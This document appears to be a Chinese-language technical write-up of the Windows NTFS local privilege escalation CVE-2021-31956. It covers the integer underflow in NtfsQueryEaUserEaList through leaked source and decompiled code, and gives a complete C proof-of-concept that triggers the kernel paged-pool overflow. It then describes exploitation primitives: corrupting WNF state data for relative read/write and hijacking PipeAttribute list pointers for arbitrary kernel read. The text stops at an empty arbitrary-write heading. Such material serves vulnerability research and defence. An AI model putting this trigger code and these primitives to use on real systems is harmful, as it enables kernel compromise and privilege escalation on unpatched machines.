Windows NTFS本地提权漏洞 CVE-2021-31956

参考链接:

https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/

https://research.nccgroup.com/2021/08/17/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-2/

https://paper.seebug.org/1743

使用PipeAttribution构造任意地址读后,修改_WNF_NAME_INSTANCE结构体内的指针_WNF_STATE_DATA实现任意地址写。

https://dawnslab.jd.com/CVE-2021-31956/

https://github.com/hzshang/CVE-2021-31956

使用使用NtQueryWnfStateData和NtUpDateWnfStateData API来造成任意地址的读写(需要构造AllocateSize和DataSize成员)。

https://bbs.kanxue.com/thread-271140.htm

https://github.com/aazhuliang/CVE-2021-31956-EXP

漏洞在windows的NTFS文件系统驱动上(C:WindowsSystem32driversntfs.sys)的NtfsQueryEaUserEaList函数中。

NTFS文件系统允许为每一个文件额外存储若干个键值对属性,称之为EA(Extend Attribution) 。可以通过ZwSetEaFile为文件创建EA,ZwQueryEaFile查询文件EA。

typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;

typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;





漏洞成因


泄露的NT5.1中有NtfsQueryEaUserEaList的源码。


NT5.1泄露的源码


https://github.com/0x5bfa/NT5.1/blob/master/Source/XPSP1/NT/base/fs/ntfs/ea.c#L1461

IO_STATUS_BLOCK
NtfsQueryEaUserEaList(
IN PFILE_FULL_EA_INFORMATION CurrentEas,
IN PEA_INFORMATION EaInformation,
OUT PFILE_FULL_EA_INFORMATION EaBuffer,
IN ULONG UserBufferLength,
IN PFILE_GET_EA_INFORMATION UserEaList,
IN BOOLEAN ReturnSingleEntry
)

/*++

Routine Description:

This routine is the work routine for querying EAs given a list
of Ea's to search for.

Arguments:

CurrentEas - This is a pointer to the current Eas for the file

EaInformation - This is a pointer to an Ea information attribute.

EaBuffer - Supplies the buffer to receive the full eas

UserBufferLength - Supplies the length, in bytes, of the user buffer

UserEaList - Supplies the user specified ea name list

ReturnSingleEntry - Indicates if we are to return a single entry or not

Return Value:

IO_STATUS_BLOCK - Receives the completion status for the operation

--*/

{
IO_STATUS_BLOCK Iosb;

ULONG GeaOffset;
ULONG FeaOffset;
ULONG Offset;

PFILE_FULL_EA_INFORMATION LastFullEa;
PFILE_FULL_EA_INFORMATION NextFullEa;

PFILE_GET_EA_INFORMATION GetEa;

BOOLEAN Overflow;
ULONG PrevEaPadding;

PAGED_CODE();

DebugTrace(+1, Dbg, ("NtfsQueryEaUserEaList: Enteredn"));

//
// Setup pointer in the output buffer so we can track the Ea being
// written to it and the last Ea written.
//

LastFullEa = NULL;

Overflow = FALSE;

//
// Initialize our next offset value.
//

GeaOffset = 0;
Offset = 0;
PrevEaPadding = 0;

//
// Loop through all the entries in the user's ea list.
//

while (TRUE) {

STRING GeaName;
STRING OutputEaName;
ULONG RawEaSize;

//
// Get the next entry in the user's list.
//

GetEa = (PFILE_GET_EA_INFORMATION)Add2Ptr(UserEaList, GeaOffset);

//
// Make a string reference to the name and see if we can locate
// the ea by name.
//

GeaName.MaximumLength = GeaName.Length = GetEa->EaNameLength;
GeaName.Buffer = &GetEa->EaName[0];

//
// Upcase the name so we can do a case-insensitive compare.
//

NtfsUpcaseEaName(&GeaName, &GeaName);

//
// Check for a valid name.
//

if (!NtfsIsEaNameValid(GeaName)) {

DebugTrace(-1, Dbg, ("NtfsQueryEaUserEaList: Invalid Ea Namen"));

Iosb.Information = GeaOffset;
Iosb.Status = STATUS_INVALID_EA_NAME;
return Iosb;
}

GeaOffset += GetEa->NextEntryOffset;

//
// If this is a duplicate name, then step over this entry.
//

if (NtfsIsDuplicateGeaName(GetEa, UserEaList)) {

//
// If we've exhausted the entries in the Get Ea list, then we are
// done.
//

if (GetEa->NextEntryOffset == 0) {
break;
}
else {
continue;
}
}

//
// Generate a pointer in the Ea buffer.
//

NextFullEa = (PFILE_FULL_EA_INFORMATION)Add2Ptr(EaBuffer, Offset + PrevEaPadding);

//
// Try to find a matching Ea.
// If we couldn't, let's dummy up an Ea to give to the user.
//

if (!NtfsLocateEaByName(CurrentEas,
EaInformation->UnpackedEaSize,
&GeaName,
&FeaOffset)) {

//
// We were not able to locate the name therefore we must
// dummy up a entry for the query. The needed Ea size is
// the size of the name + 4 (next entry offset) + 1 (flags)
// + 1 (name length) + 2 (value length) + the name length +
// 1 (null byte).
//

RawEaSize = 4 + 1 + 1 + 2 + GetEa->EaNameLength + 1;

if ((RawEaSize + PrevEaPadding) > UserBufferLength) {

Overflow = TRUE;
break;
}

//
// Everything is going to work fine, so copy over the name,
// set the name length and zero out the rest of the ea.
//

NextFullEa->NextEntryOffset = 0;
NextFullEa->Flags = 0;
NextFullEa->EaNameLength = GetEa->EaNameLength;
NextFullEa->EaValueLength = 0;
RtlCopyMemory(&NextFullEa->EaName[0],
&GetEa->EaName[0],
GetEa->EaNameLength);

//
// Upcase the name in the buffer.
//

OutputEaName.MaximumLength = OutputEaName.Length = GeaName.Length;
OutputEaName.Buffer = NextFullEa->EaName;

NtfsUpcaseEaName(&OutputEaName, &OutputEaName);

NextFullEa->EaName[GetEa->EaNameLength] = 0;

//
// Otherwise return the Ea we found back to the user.
//

}
else {

PFILE_FULL_EA_INFORMATION ThisEa;

//
// Reference this ea.
//

ThisEa = (PFILE_FULL_EA_INFORMATION)Add2Ptr(CurrentEas, FeaOffset);

//
// Check if this Ea can fit in the user's buffer.
//

RawEaSize = RawUnpackedEaSize(ThisEa);

if (RawEaSize > (UserBufferLength - PrevEaPadding)) {

Overflow = TRUE;
break;
}

//
// Copy this ea to the user's buffer.
//

RtlCopyMemory(NextFullEa,
ThisEa,
RawEaSize);

NextFullEa->NextEntryOffset = 0;
}

//
// Compute the next offset in the user's buffer.
//

Offset += (RawEaSize + PrevEaPadding);

//
// If we were to return a single entry then break out of our loop
// now
//

if (ReturnSingleEntry) {

break;
}

//
// If we have a new Ea entry, go back and update the offset field
// of the previous Ea entry.
//

if (LastFullEa != NULL) {

LastFullEa->NextEntryOffset = PtrOffset(LastFullEa, NextFullEa);
}

//
// If we've exhausted the entries in the Get Ea list, then we are
// done.
//

if (GetEa->NextEntryOffset == 0) {

break;
}

//
// Remember this as the previous ea value. Also update the buffer
// length values and the buffer offset values.
//

LastFullEa = NextFullEa;
UserBufferLength -= (RawEaSize + PrevEaPadding);

//
// Now remember the padding bytes needed for this call.
//

PrevEaPadding = LongAlign(RawEaSize) - RawEaSize;
}

//
// If the Ea information won't fit in the user's buffer, then return
// an overflow status.
//

if (Overflow) {

Iosb.Information = 0;
Iosb.Status = STATUS_BUFFER_OVERFLOW;

//
// Otherwise return the length of the data returned.
//

}
else {

//
// Return the length of the buffer filled and a success
// status.
//

Iosb.Information = Offset;
Iosb.Status = STATUS_SUCCESS;
}

DebugTrace(0, Dbg, ("Status -> %08lxn", Iosb.Status));
DebugTrace(0, Dbg, ("Information -> %08lxn", Iosb.Information));
DebugTrace(-1, Dbg, ("NtfsQueryEaUserEaList: Exitn"));

return Iosb;
}


Ntfs IDA


_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1, _FILE_FULL_EA_INFORMATION *ea_blocks_for_file, __int64 out_buf, __int64 a4, unsigned int out_buf_length, _FILE_GET_EA_INFORMATION *eaList, char a7)
{
int v8; // edi
unsigned int v9; // ebx
unsigned int padding; // er15
_FILE_GET_EA_INFORMATION *GetEa; // r12
ULONG v12; // er14
unsigned __int8 v13; // r13
_FILE_GET_EA_INFORMATION *curEaList; // rbx
unsigned int v15; // ebx
_DWORD *v16; // r13
unsigned int ea_block_size; // er14
unsigned int v18; // ebx
_FILE_FULL_EA_INFORMATION *ea_block; // rdx
char v21; // al
ULONG v22; // [rsp+20h] [rbp-38h]
unsigned int v23; // [rsp+24h] [rbp-34h] BYREF
_DWORD *v24; // [rsp+28h] [rbp-30h]
struct _STRING DestinationString; // [rsp+30h] [rbp-28h] BYREF
STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
unsigned int offest; // [rsp+A0h] [rbp+48h]

v8 = 0;
*a1 = 0i64;
v24 = 0i64;
v9 = 0;
offest = 0;
padding = 0;
a1[1] = 0i64;
while ( 1 )
{ // 索引ealist中的成员,用作下面的查找。
GetEa = (_FILE_GET_EA_INFORMATION *)((char *)eaList + v9);
*(_QWORD *)&DestinationString.Length = 0i64;
DestinationString.Buffer = 0i64;
*(_QWORD *)&SourceString.Length = 0i64;
SourceString.Buffer = 0i64;
*(_QWORD *)&DestinationString.Length = GetEa->EaNameLength;
DestinationString.MaximumLength = DestinationString.Length;
DestinationString.Buffer = GetEa->EaName;
RtlUpperString(&DestinationString, &DestinationString);
if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )// 检查ealist中成员的name是否有效
break;
v12 = GetEa->NextEntryOffset;
v13 = GetEa->EaNameLength;
v22 = GetEa->NextEntryOffset + v9;
for ( curEaList = eaList; ; curEaList = (_FILE_GET_EA_INFORMATION *)((char *)curEaList + curEaList->NextEntryOffset) )// 遍历查询的EaList
{
if ( curEaList == GetEa )
{
v15 = offest;
v16 = (_DWORD *)(a4 + padding + offest);
if ( (unsigned __int8)NtfsLocateEaByName(// 根据name查找对应的Ea信息
ea_blocks_for_file,
*(unsigned int *)(out_buf + 4),
&DestinationString,
&v23) )
{
ea_block = (_FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + v23);
ea_block_size = ea_block->EaValueLength + ea_block->EaNameLength + 9;// 计算内存拷贝大小
if ( ea_block_size <= out_buf_length - padding )// 防溢出检查
// 两个uint32相减以后发生整数溢出绕过检查
{
memmove(v16, ea_block, ea_block_size);// 溢出点
*v16 = 0;
goto LABEL_8;
}
}
else
{
ea_block_size = GetEa->EaNameLength + 9;// 9=4(next entry offset)+1(flags)+1(name length)+2(value length)+1(null byte)
if ( ea_block_size + padding <= out_buf_length )
{
*v16 = 0;
*((_BYTE *)v16 + 4) = 0;
*((_BYTE *)v16 + 5) = GetEa->EaNameLength;
*((_WORD *)v16 + 3) = 0;
memmove(v16 + 2, GetEa->EaName, GetEa->EaNameLength);
SourceString.Length = DestinationString.Length;
SourceString.MaximumLength = DestinationString.Length;
SourceString.Buffer = (PCHAR)(v16 + 2);
RtlUpperString(&SourceString, &SourceString);
v15 = offest;
*((_BYTE *)v16 + GetEa->EaNameLength + 8) = 0;
LABEL_8:
v18 = ea_block_size + padding + v15;
offest = v18;
if ( !a7 )
{
if ( v24 )
*v24 = (_DWORD)v16 - (_DWORD)v24;
if ( GetEa->NextEntryOffset ) // 判断是ealist中是否还有其他成员
{
v24 = v16;
out_buf_length -= ea_block_size + padding;// 总长度减去已经拷贝的长度
padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;// padding的计算
goto LABEL_26;
}
}
LABEL_12:
a1[1] = v18;
LABEL_13:
*(_DWORD *)a1 = v8;
return a1;
}
}
v21 = NtfsStatusDebugFlags;
a1[1] = 0i64;
if ( v21 )
NtfsStatusTraceAndDebugInternal(0i64, 2147483653i64, 919406i64);
v8 = -2147483643;
goto LABEL_13;
}
if ( v13 == curEaList->EaNameLength && !memcmp(GetEa->EaName, curEaList->EaName, v13) )
break;
}
if ( !v12 )
{
v18 = offest;
goto LABEL_12;
}
LABEL_26:
v9 = v22;
}
a1[1] = v9;
if ( NtfsStatusDebugFlags )
NtfsStatusTraceAndDebugInternal(0i64, 2147483667i64, 919230i64);
*(_DWORD *)a1 = -2147483629;
return a1;
}

NtfsQueryEaUserEaList从 循环遍历文件的每个 NTFS 扩展属性 (Ea),并根据ea_block->EaValueLength + ea_block->EaNameLength + 9的大小从 Ea 块复制到输出缓冲区。

有一个检查确保ea_block_size小于或等于out_buf_length – padding。然后,out_buf_length会减去ea_block_size及其填充的大小。填充是通过((ea_block_size + 3) 0xFFFFFFFC) – ea_block_size来计算的。因为每个EA块应该填充为32位对齐。

假设文件的扩展属性中有两个扩展属性。

正常情况下:


第一次迭代:

EaNameLength = 5
EaValueLength = 4

ea_block_size = 9 + 5 + 4 = 18
padding = 0

因此18 < out_buf_length – 0,数据将被复制到缓冲区中。

第二次迭代:

out_buf_length = 30 - 18 + 0
out_buf_length = 12 // we would have 12 bytes left of the output buffer.

padding = ((18+3) 0xFFFFFFFC) - 18
padding = 2

在文件中添加一个具有相同值的第二个扩展属性。

EaNameLength = 5
EaValueLength = 4

ea_block_size = 9 + 5 + 4 = 18
18 <= 12 - 2 // is False.

由于缓冲区太小,第二次内存复制将不会发生。

整数溢出


第一个扩展属性:
EaNameLength = 5
EaValueLength = 4

第二个扩展属性:
EaNameLength = 5
EaValueLength = 47

第一次迭代:

EaNameLength = 5
EaValueLength = 4

ea_block_size = 9 + 5 + 4 // 18
padding = 0

检查结果为:
18 <= 18 – 0 // is True and a copy of 18 occurs.

第二个扩展属性具有以下值:

EaNameLength = 5
EaValueLength = 47

ea_block_size = 5 + 47 + 9
ea_block_size = 137

结果检查将是:
ea_block_size <= out_buf_length – padding
137 <= 0 – 2

发生下溢,137 个字节将被复制到缓冲区末尾,从而损坏相邻内存。

查看NtfsQueryEaUserEaList函数的调用者NtfsCommonQueryEa,我们可以看到输出缓冲区是根据请求的大小在分页池上分配的。

Windows NTFS本地提权漏洞 CVE-2021-31956

NtfsCommonQueryEa函数可通过ZwQueryEaFIle函数调用。

// 为文件创建EA
NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID Buffer,
[in] ULONG Length
);
// 查询文件EA
NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle, //文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID Buffer, //扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构)
[in] ULONG Length, //缓冲区大小
[in] BOOLEAN ReturnSingleEntry,
[in, optional] PVOID EaList, //指定需要查询的扩展属性
[in] ULONG EaListLength,
[in, optional] PULONG EaIndex, //指定需要查询的起始索引
[in] BOOLEAN RestartScan
);

可以看到输出缓冲区Buffer以及该缓冲区的长度都是从用户空间传入的。这意味着我们根据缓冲区的大小控制内核空间的内存分配。

该漏洞对攻击者来说:
溢出拷贝时数据和大小均可控。
可以覆盖下一个内核池块。
内核池分配时大小可控,并且可以进行堆布局。




触发漏洞


Windows10引入了新的方式进行堆块管理,称为Segment Heap,具体可看以下论文:

https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

EXP:https://github.com/aazhuliang/CVE-2021-31956-EXP

仿照EXP改的可以触发溢出的POC。

#include <iostream>
#include <Windows.h>
#include <sddl.h>

#define PAYLOAD_SIZE 1000
#define TIGGER_EA_NAME ".PA"
#define OVER_EA_NAME ".PBB"
#define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))
#define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))
#define OVER_STATEDATA_LENGTH 0x1000
#define OVER_EA_VALUE_LENGTH (0xf)
#define KERNAL_ALLOC_SIZE 0xae

#define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1))
#define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef NTSTATUS(NTAPI* __ZwQueryEaFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan
);

typedef NTSTATUS(NTAPI* __ZwSetEaFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length
);

typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;

__ZwQueryEaFile NtQueryEaFile = NULL;
__ZwSetEaFile NtSetEaFile = NULL;

UINT64 OVER_STATENAME = 0;

int main()
{
HMODULE hNtDll = NULL;
hNtDll = LoadLibrary(L"ntdll.dll");
if (hNtDll == NULL)
{
printf("load ntdll failed!rn");
return 0;
}
NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");
NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile");

if (NtQueryEaFile == NULL ||
NtSetEaFile == NULL
)
{
printf("not found functionsrn");
return 0;
}

PFILE_GET_EA_INFORMATION EaList = NULL;
PFILE_GET_EA_INFORMATION EaListCP = NULL;
PVOID eaData = NULL;
DWORD dwNumberOfBytesWritten = 0;
UCHAR payLoad[PAYLOAD_SIZE] = { 0 };
PFILE_FULL_EA_INFORMATION curEa = NULL;
HANDLE hFile = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK eaStatus = { 0 };
NTSTATUS rc;
PISECURITY_DESCRIPTOR pSecurity = NULL;
PUCHAR pd = NULL;

int state = -1;

hFile = CreateFileA("payload",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (hFile == INVALID_HANDLE_VALUE)
{
printf("create the file failedrn");
goto ERROR_HANDLE;
}


WriteFile(hFile, "This files has an optional .COMMENTS EAn",
strlen("This files has an optional .COMMENTS EAn"),
&dwNumberOfBytesWritten, NULL);

curEa = (PFILE_FULL_EA_INFORMATION)payLoad;

curEa->Flags = 0;

curEa->EaNameLength = TIGGER_EA_NAME_LENGTH;
curEa->EaValueLength = TIGGER_EA_VALUE_LENGTH;
//align 4。
curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A');

curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset);
curEa->NextEntryOffset = 0;
curEa->Flags = 0;

curEa->EaNameLength = OVER_EA_NAME_LENGTH;
curEa->EaValueLength = OVER_EA_VALUE_LENGTH;
memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0);
pd = (PUCHAR)(curEa);

rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad));

if (rc != 0)
{
printf("NtSetEaFile failed error code is %xrn", rc);
goto ERROR_HANDLE;

}
eaData = malloc(sizeof(payLoad));
if (eaData == NULL)
{
goto ERROR_HANDLE;
}


memset(eaData, 0, sizeof(payLoad));

EaList = (PFILE_GET_EA_INFORMATION)malloc(100);
if (EaList == NULL)
{
goto ERROR_HANDLE;
}
EaListCP = EaList;
memset(EaList, 0, 100);

memcpy(EaList->EaName, ".PA", strlen(".PA"));
EaList->EaNameLength = (UCHAR)strlen(".PA");
EaList->NextEntryOffset = 12; // align 4

EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);
memcpy(EaList->EaName, ".PBB", strlen(".PBB"));
EaList->EaNameLength = (UCHAR)strlen(".PBB");
EaList->NextEntryOffset = 0;

rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100, 0, TRUE);


state = 0;


ERROR_HANDLE:
if (hFile != INVALID_HANDLE_VALUE)
{
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}
if (EaList != NULL)
{
free(EaListCP);
EaList = NULL;
}

if (eaData != NULL)
{
free(eaData);
eaData = NULL;
}

if (pSecurity != NULL)
{
free(pSecurity);
pSecurity = NULL;
}

return 0;
}
bu ntdll!NtQueryEaFile
bu Ntfs!NtfsQueryEaUserEaList
bu Ntfs!NtfsQueryEaUserEaList+0x19f
bu Ntfs!NtfsQueryEaUserEaList+0x1b2
Windows NTFS本地提权漏洞 CVE-2021-31956

可以看到整数下溢。




漏洞利用


Windows10引入了新的方式进行堆块管理,称为Segment Heap。

详见:https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

中文翻译:https://paper.seebug.org/1743

POOL_HEADER


POOL_HEADER 在池中,适合单个页面的所有块都以POOL_HEADER结构开头,POOL_HEADER包含分配器所需信息和Tag信息。当试图在Windows内核中利用堆溢出漏洞时,首先要覆盖的就是POOL_HEADER结构。攻击者有两个选择:重写一个正确的POOL_HEADER结构,并用来攻击下一个块的数据,或者直接攻击POOL_HEADER结构。

struct POOL_HEADER
{
char PreviousSize; //之前的块的大小除以16
char PoolIndex; //PoolDescriptor数组中的索引
char BlockSize; //当前分配的大小除以16
char PoolType; //包含分配类型信息的位域
int PoolTag;
Ptr64 ProcessBilled ; //指向分配内存的进程的KPROCESS的指针,只有PoolType中包含PoolQuota标志时,才设置此字段。
};

PoolType是一个位域,存储若干信息:
使用的内存类型,可以是NonPagedPool、PagedPool、SessionPool或NonPagedPoolNx;
如果分配是关键的(bit 1)并且必须成功。那么当分配失败,就会触发BugCheck;
如果分配与缓存大小对齐(bit 2)
如果分配使用了PoolQuota机制(bit 3)

其他未文档化的机制:

NonPagedPool = 0
PagedPool = 1
NonPagedPoolMustSucceed = 2
DontUseThisType = 3
NonPagedPoolCacheAligned = 4
PagedPoolCacheAligned = 5
NonPagedPoolCacheAlignedMustSucceed = 6
MaxPoolType = 7
PoolQuota = 8
NonPagedPoolSession = 20h
PagedPoolSession = 21h
NonPagedPoolMustSucceedSession = 22h
DontUseThisTypeSession = 23h
NonPagedPoolCacheAlignedSession = 24h
PagedPoolCacheAlignedSession = 25h
NonPagedPoolCacheAlignedMustSSession = 26h
NonPagedPoolNx = 200h
NonPagedPoolNxCacheAligned = 204h
NonPagedPoolSessionNx = 220h





相对偏移地址读写


WNF


WNF Windows Notification Facitily 是 Windows 中的一个通知系统。应用程序可以订阅特定类型的事件(StateName标识),在每次状态更改时可以进行通知。

WNF 利用相关文章:
https://docplayer.net/145030841-The-windows-notification-facility.html
https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html

结构体_WNF_STATE_DATA大可以由用户自定义。

struct _WNF_STATE_DATA
{
struct _WNF_NODE_HEADER Header;//0x0
ULONG AllocatedSize;//0x4 // 分配的内核池大小
ULONG DataSize;//0x8 // 当前数据大小
ULONG ChangeStamp;//0xc
};

用户可以通过NtCreateWnfStateName创建一个WNF对象实例,实例的数据结构为_WNF_NAME_INSTANCE;WNF对象大小为0xb8(WNF_NAME_INSTANCE + POOL_HEADER )。

typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_ ULONG MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);
struct _WNF_NAME_INSTANCE
{
struct _WNF_NODE_HEADER Header;//0x0
struct _EX_RUNDOWN_REF RunRef;//0x8
struct _RTL_BALANCED_NODE TreeLinks;//0x10
struct _WNF_STATE_NAME_STRUCT StateName;//0x28
struct _WNF_SCOPE_INSTANCE* ScopeInstance;//0x30
struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;//0x38
struct _WNF_LOCK StateDataLock;//0x50
struct _WNF_STATE_DATA* StateData;//0x58
ULONG CurrentChangeStamp;//0x60
VOID* PermanentDataStore;//0x68
struct _WNF_LOCK StateSubscriptionListLock;//0x70
struct _LIST_ENTRY StateSubscriptionListHead;//0x78
struct _LIST_ENTRY TemporaryNameListEntry;//0x88
struct _EPROCESS* CreatorProcess;//0x98
LONG DataSubscribersCount;//0xa0
LONG CurrentDeliveryCount;//0xa4
};

NtUpdateWnfStateData可以往对象里写入数据,使用_WNF_STATE_DATA结构存储写入的内容:

typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID * Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ ULONG CheckStamp);

通过NtQueryWnfStateData可以读取之前写入的数据,通过NtDeleteWnfStateData可以释放掉这个对象。NtDeleteWnfStateDat会调用ExpWnfDeleteStateData。

typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_opt_ PWNF_TYPE_ID TypeId,
_In_opt_ const VOID * ExplicitScope,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize);

DataSize表示内存中_WNF_STATE_DATA结构的实际数据的大小,并用于NtQueryWnfStateData函数内的边界检查。_WNF_STATE_DATA结构存储写入的内容的内存复制操作发生在函数ExpWnfReadStateData中。

__int64 __fastcall ExpWnfReadStateData(__int64 nameinstance, _DWORD *CurrentChangeStamp, void *dest, unsigned int BufferSize, _DWORD *outbufsize)
{
volatile signed __int64 *v9; // rbx
__int64 v10; // rdi
_DWORD *StateData; // rdx
unsigned int DataSize; // eax
unsigned int v14; // [rsp+20h] [rbp-48h]

v14 = 0;
v9 = (volatile signed __int64 *)(nameinstance + 0x50);
v10 = KeAbPreAcquire(nameinstance + 0x50, 0i64, 0);
if ( _InterlockedCompareExchange64(v9, 17i64, 0i64) )
ExfAcquirePushLockSharedEx(v9, v10, v9);
if ( v10 )
*(_BYTE *)(v10 + 26) |= 1u;
StateData = *(_DWORD **)(nameinstance + 0x58);// StateData
if ( !StateData )
{
*CurrentChangeStamp = 0;
goto LABEL_11;
}
if ( StateData == (_DWORD *)1 )
{
*CurrentChangeStamp = *(_DWORD *)(nameinstance + 0x60);
LABEL_11:
*outbufsize = 0;
goto LABEL_13;
}
*CurrentChangeStamp = StateData[3];
*outbufsize = StateData[2];
DataSize = StateData[2];
if ( BufferSize < DataSize )
{ // length check on size here
v14 = -1073741789; // STATUS_BUFFER_TOO_SMALL
}
else
{
memmove(dest, StateData + 4, DataSize);
v14 = 0;
}
LABEL_13:
if ( _InterlockedCompareExchange64(v9, 0i64, 17i64) != 17 )
ExfReleasePushLockShared((signed __int64 *)v9);
KeAbPostRelease((ULONG_PTR)v9);
return v14;
}

通过堆喷控制内存,使用NTFS的堆溢出越界写_WNF_STATE_DATA中的DataSize,接下来通过NtQueryWnfStateData实现相对偏移地址读写。

Windows NTFS本地提权漏洞 CVE-2021-31956





任意地址读-1


通过PipeAttribute实现任意地址读。

PipeAttribute详见:
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

typedef struct pipe_attribute {
LIST_ENTRY list;
char* AttributeName;
size_t ValueSize;
char* AttributeValue;
char data[0];
} pipe_attribute_t;

PipeAttribute块的大小也是可控的,并且分配在分页池上,因此可以将块放置在与易受攻击的 NTFS 块或允许相对写入的 WNF 块相邻的位置。两个指针AttributeName、AttributeValue 正常情况下是指向PipeAttribute.data[]后面的,通过堆布局,将AttributeValue的指针该为任意地址,就可以实现任意地址读。遗憾的是,windows并没有提供直接更新该数据结构的功能,不能通过该方法进行任意地址写。

Windows NTFS本地提权漏洞 CVE-2021-31956

使用这个布局,修改PipeAttribute的Flink指针,并将其指向一个伪造的管道属性。

// 使指向下一个属性的指针在用户层
overwritten_pipe_attribute->list.Flink = (LIST_ENTRY *)xploit->fake_pipe_attribute;

分页池创建管道后,用户可以向管道添加属性,同时属性值分配的大小和填充的数据完全由用户来控制。

AttributeName和AttributeValue是指向数据区不同偏移的两个指针。
同时在用户层,可以使用0x110038控制码来读取属性值。AttributeValue指针和AttributeValueSize大小将被用于读取属性值并返回给用户。

属性值可以被修改,但这会触发先前的PipeAttribute的释放和新的PipeAttribute的分配。这意味着如果攻击者可以控制PipeAttribute结构体的AttributeValue和AttributeValueSize字段,它就可以在内核中任意读取数据,但不能任意写。

所以,控制Pipe_Attribute的List_next指针值,使其指向用户层的Pipe_Attribute,也就意味着用户层的PipeAttribute结构体的AttributeValue和AttributeValueSize字段我们可以任意指定,也就可以在内核中任意读取数据数据,即获得了一个任意地址读原语。




任意地址写-1


